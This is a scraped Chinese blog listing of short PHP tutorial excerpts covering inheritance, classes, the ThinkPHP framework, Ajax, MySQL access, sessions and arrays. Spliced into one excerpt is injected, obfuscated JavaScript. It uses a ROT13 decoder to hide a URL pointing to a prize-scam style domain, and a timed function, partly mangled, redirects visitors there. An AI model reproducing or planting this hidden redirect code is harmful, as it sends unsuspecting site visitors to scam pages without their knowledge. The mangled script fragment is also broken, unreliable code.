PHP面向对象-继承
rx online 知识点: extends 继承 重写 final 关键字 继承 继承:子类继承父类所有的公有和受保护的属性和方法 继承关键字extends一个类继承另一个类,不能继承多个 派生类、子类是指继承于基类的类 基类、…
rx online 知识点: extends 继承 重写 final 关键字 继承 继承:子类继承父类所有的公有和受保护的属性和方法 继承关键字extends一个类继承另一个类,不能继承多个 派生类、子类是指继承于基类的类 基类、…
rx online 索引: 访问控制(可见性约束) 构造函数和析构函数 static关键字 常用属性 类与类对象的属性重载 方法重载 什么是封装:隐藏对象的属性和实现细节,仅仅对外提供公共的引用,控制在程序中属性的…
rx online 类与对象代码的实现 类的声明 [修饰符] class 类名 { [属性] [方法] } note: 类名遵循首字母大写的驼峰命名 中括号必须自成一行(如果不按规范也是可以运行成功的) 类的属性和方法必须添…
rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架。
M-model 数据层
V 视图层(展现给用户的)
C 控制层(业务逻辑)
特点:
入手很快
提供核心类库、文件、函数
下载:thinkPHP.cn 使用3.2.3版本完整版
目录结构
ThinkPHP框架目录
Public资源文件目录cs、js放这里
Application 应用目录 后台前台文件放这里
index.php每次执行的时候自动加载从而把框架的内容加载出来
ThinkPHP框架目录:
common 核心公共函数目录 提供了很多可以直接使用的函数 是thinkPHP自带的函数
conf 核心配置目录library 核心语言目录
LICENSE.txt 框架授权协议
index.php会去加载框架里面的thinkPHP.php执行这个文件之后会定位到某个模块某个控制器下面的某个方法,第一次执行的时候在application是没有任何内容的 后来执行会生成home和runtime,这个模块,HOME可以理解成前台网站的模块,每个模块里面都有MVC
COMMON目录可以理解成公共的模块目录,因为admin和home的模块可以能会公用一部分我们就放在这里。
rx online Ajax应用场景 异步搜索过滤内容 表单异步验证 异步加载内容数据 低调的处理一些数据逻辑 Ajax主要特点 在不刷新当前页面的前提下,与服务器进行异步交互。 优化了浏览器与服务器之间的数据传输,…
rx online 举一个简单的例子来说明: 如在页面a.html中用下面这句调用: <script type=”text/javascript” src=”b.php?action=test”></script> <script type=”te…
rx online PHP操作MySQL的三种方式 MySQL:非永久连接,性能较低,PHP5.5之后被废弃 MySQLi:永久连接,减轻服务器压力,只支持MySQL PDO:能实现MySQLi的常用功能,支持大部分数据库(推荐使用) 查看服务…
rx online 第一部分 基本操作 文件目录函数库 文件目录函数库简介 文件、目录函数库为PHP核心函数库,可以通过其提供的API完成对于文件和目录的常用操作。 文件函数库常用函数及操作 文件信息相关操…
rx online 第一部分 SESSION 什么是SESSION SESSION在计算机中,尤其是在网络应用中,称为“会话控制”; 具体到Web中的SESSION指的就是用户在浏览某个网站时,从进入网站到浏览器关闭所经历的这段时间,也就…
rx online 第一部分 数组遍历 foreach 遍历数组 <?php echo ‘<pre>’; $arr=range(‘a’,’z’); print_r($arr); echo $arr[0],'<br/>’; echo $arr[1],'<br/>’; echo $arr[2],'<br/>’…